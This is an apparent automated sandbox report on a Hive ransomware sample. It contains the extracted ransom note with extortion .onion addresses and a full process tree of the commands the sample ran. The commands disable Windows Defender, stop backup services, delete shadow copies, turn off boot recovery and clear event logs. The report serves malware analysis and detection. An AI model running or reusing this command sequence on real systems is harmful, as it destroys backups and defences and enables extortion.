Resubmissions

12-01-2022 19:19

220112-x1l34adgcp 10

12-01-2022 16:47

220112-vazkdsdcb6 10

Analysis

  • max time kernel
    112s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    12-01-2022 19:19

General

  • Target

    edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe

  • Size

    2.7MB

  • MD5

    fd7791be5fa43af1e9add98f15cf9c58

  • SHA1

    78a7c5facdbbb0584033dd57b25c4df854c48eb7

  • SHA256

    edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826

  • SHA512

    1020f1c311403020e7a604d69509c9ccd3d4c5fca4a643045241db52455eb8380d883c7f8e6e4b75ab32a252ed9fd5c90e0ab254f1836e4fdddb1622291b371a

Malware Config

Extracted

Path

C:\Program Files\7-Zip\a84r_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: rJGFixNYAMkp Password: YSiKYbjT3zHD1cvEgtNe To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.pruhs files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe
    "C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:960
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:268
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:892
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:592
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1628
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:980
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1900
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:836
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1516
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:396
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1736
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:968
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1432
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1440
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1140
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:1264
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                        PID:1100
                      • C:\Windows\system32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:1340
                        • C:\Windows\system32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:1812
                          • C:\Windows\system32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1984
                            • C:\Windows\system32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1856
                              • C:\Windows\system32\sc.exe
                                sc.exe config "VSS" start= disabled
                                2⤵
                                  PID:1960
                                • C:\Windows\system32\sc.exe
                                  sc.exe config "wbengine" start= disabled
                                  2⤵
                                    PID:548
                                  • C:\Windows\system32\sc.exe
                                    sc.exe config "WebClient" start= disabled
                                    2⤵
                                      PID:1740
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:1160
                                      • C:\Windows\system32\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:1612
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:1552
                                          • C:\Windows\system32\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:1324
                                            • C:\Windows\system32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:976
                                              • C:\Windows\system32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:240
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:1212
                                                  • C:\Windows\system32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1440
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:1524
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:1328
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1040
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1724
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:1916
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:280
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:360
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1508
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:1572
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:320
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:396
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:1144
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:1032
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:1308
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:1728
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:1920
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:1356
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:1988
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:1600
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:436
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:1152
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:984
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1712
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:1816
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:2016
                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:1532
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1696
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                        PID:1396
                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                        wevtutil.exe cl application
                                                                                                        2⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:1216
                                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                                        wmic.exe SHADOWCOPY /nointeractive
                                                                                                        2⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:748
                                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                                        wmic.exe shadowcopy delete
                                                                                                        2⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:968
                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                        2⤵
                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                        PID:2072
                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                        bcdedit.exe /set {default} recoveryenabled no
                                                                                                        2⤵
                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                        PID:2096
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        2⤵
                                                                                                          PID:2116
                                                                                                          • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                            3⤵
                                                                                                            • Deletes Windows Defender Definitions
                                                                                                            PID:2136
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          2⤵
                                                                                                            PID:2148
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                              3⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:2168
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            2⤵
                                                                                                              PID:2232
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                                3⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:2252
                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                              notepad.exe C:\a84r_HOW_TO_DECRYPT.txt
                                                                                                              2⤵
                                                                                                              • Opens file in notepad (likely ransom note)
                                                                                                              PID:2620
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe"
                                                                                                              2⤵
                                                                                                                PID:2628
                                                                                                                • C:\Windows\system32\PING.EXE
                                                                                                                  ping.exe -n 5 127.0.0.1
                                                                                                                  3⤵
                                                                                                                  • Runs ping.exe
                                                                                                                  PID:2652

                                                                                                            Network

                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads

                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                                              MD5

                                                                                                              08d50189ef53f358530d6d5e8bdc4c01

                                                                                                              SHA1

                                                                                                              0742c1433d1c07f3c5ffa207af4b2cf94f052e70

                                                                                                              SHA256

                                                                                                              0246831ab1fd77f879fc749fb07a7ae55d47f720f2a7724056e37e955bb79ff6

                                                                                                              SHA512

                                                                                                              3bb1850cf33b1fe0e68a7bca0694e34a058f07204f83161c4785cf9ef9cd9776e34a1baeb0aa36f065b2d699aab2654ad4fd31a25f5bd12c9db1a5187e16bd9e

                                                                                                            • C:\a84r_HOW_TO_DECRYPT.txt

                                                                                                              MD5

                                                                                                              5f00eabb52cff99b488fd8202cb2ad3a

                                                                                                              SHA1

                                                                                                              cd7d4f0d9fff26b1611cb2ef2f9c82068f5e9578

                                                                                                              SHA256

                                                                                                              282c1b1267b62b839a830fa1e36cea4a79d65ed73d696050f3478fe514d44ba2

                                                                                                              SHA512

                                                                                                              d0c9bc686b17a8faa66cd08ca4c80deac20ca93e5b89b9750ed6a4da2cd426ca5901ef44ba6930cb19e386f30c56fc11a6a6bfd9f40e88fa77d0c1fe8e2355ee

                                                                                                            • memory/240-84-0x0000000000000000-mapping.dmp

                                                                                                            • memory/268-56-0x0000000000000000-mapping.dmp

                                                                                                            • memory/280-92-0x0000000000000000-mapping.dmp

                                                                                                            • memory/320-96-0x0000000000000000-mapping.dmp

                                                                                                            • memory/360-93-0x0000000000000000-mapping.dmp

                                                                                                            • memory/396-64-0x0000000000000000-mapping.dmp

                                                                                                            • memory/396-97-0x0000000000000000-mapping.dmp

                                                                                                            • memory/436-106-0x0000000000000000-mapping.dmp

                                                                                                            • memory/548-77-0x0000000000000000-mapping.dmp

                                                                                                            • memory/592-58-0x0000000000000000-mapping.dmp

                                                                                                            • memory/748-118-0x0000000000000000-mapping.dmp

                                                                                                            • memory/836-62-0x0000000000000000-mapping.dmp

                                                                                                            • memory/892-57-0x0000000000000000-mapping.dmp

                                                                                                            • memory/960-55-0x0000000000000000-mapping.dmp

                                                                                                            • memory/968-119-0x0000000000000000-mapping.dmp

                                                                                                            • memory/968-66-0x0000000000000000-mapping.dmp

                                                                                                            • memory/976-83-0x0000000000000000-mapping.dmp

                                                                                                            • memory/980-60-0x0000000000000000-mapping.dmp

                                                                                                            • memory/984-108-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1032-99-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1040-89-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1100-71-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1140-69-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1144-98-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1152-107-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1160-79-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1212-85-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1216-116-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1264-70-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1308-100-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1324-82-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1328-88-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1340-72-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1356-103-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1396-115-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1432-67-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1440-68-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1440-86-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1508-94-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1516-63-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1524-87-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1532-112-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1552-81-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1572-95-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1600-105-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1612-80-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1628-59-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1696-113-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1696-114-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/1712-109-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1724-90-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1728-101-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1736-65-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1740-78-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1812-73-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1816-110-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1856-75-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1900-61-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1916-91-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1920-102-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1960-76-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1984-74-0x0000000000000000-mapping.dmp

                                                                                                            • memory/1988-104-0x0000000000000000-mapping.dmp

                                                                                                            • memory/2016-111-0x0000000000000000-mapping.dmp

                                                                                                            • memory/2072-120-0x0000000000000000-mapping.dmp

                                                                                                            • memory/2168-125-0x0000000002954000-0x0000000002957000-memory.dmp

                                                                                                              Filesize

                                                                                                              12KB

                                                                                                            • memory/2168-122-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

                                                                                                              Filesize

                                                                                                              11.4MB

                                                                                                            • memory/2168-124-0x0000000002952000-0x0000000002954000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/2168-129-0x000000000295B000-0x000000000297A000-memory.dmp

                                                                                                              Filesize

                                                                                                              124KB

                                                                                                            • memory/2168-123-0x0000000002950000-0x0000000002952000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/2252-128-0x000007FEF2A80000-0x000007FEF35DD000-memory.dmp

                                                                                                              Filesize

                                                                                                              11.4MB

                                                                                                            • memory/2252-130-0x00000000023A0000-0x00000000023A2000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/2252-132-0x00000000023A4000-0x00000000023A7000-memory.dmp

                                                                                                              Filesize

                                                                                                              12KB

                                                                                                            • memory/2252-131-0x00000000023A2000-0x00000000023A4000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/2252-133-0x000000001B730000-0x000000001BA2F000-memory.dmp

                                                                                                              Filesize

                                                                                                              3.0MB

                                                                                                            • memory/2252-134-0x00000000023AB000-0x00000000023CA000-memory.dmp

                                                                                                              Filesize

                                                                                                              124KB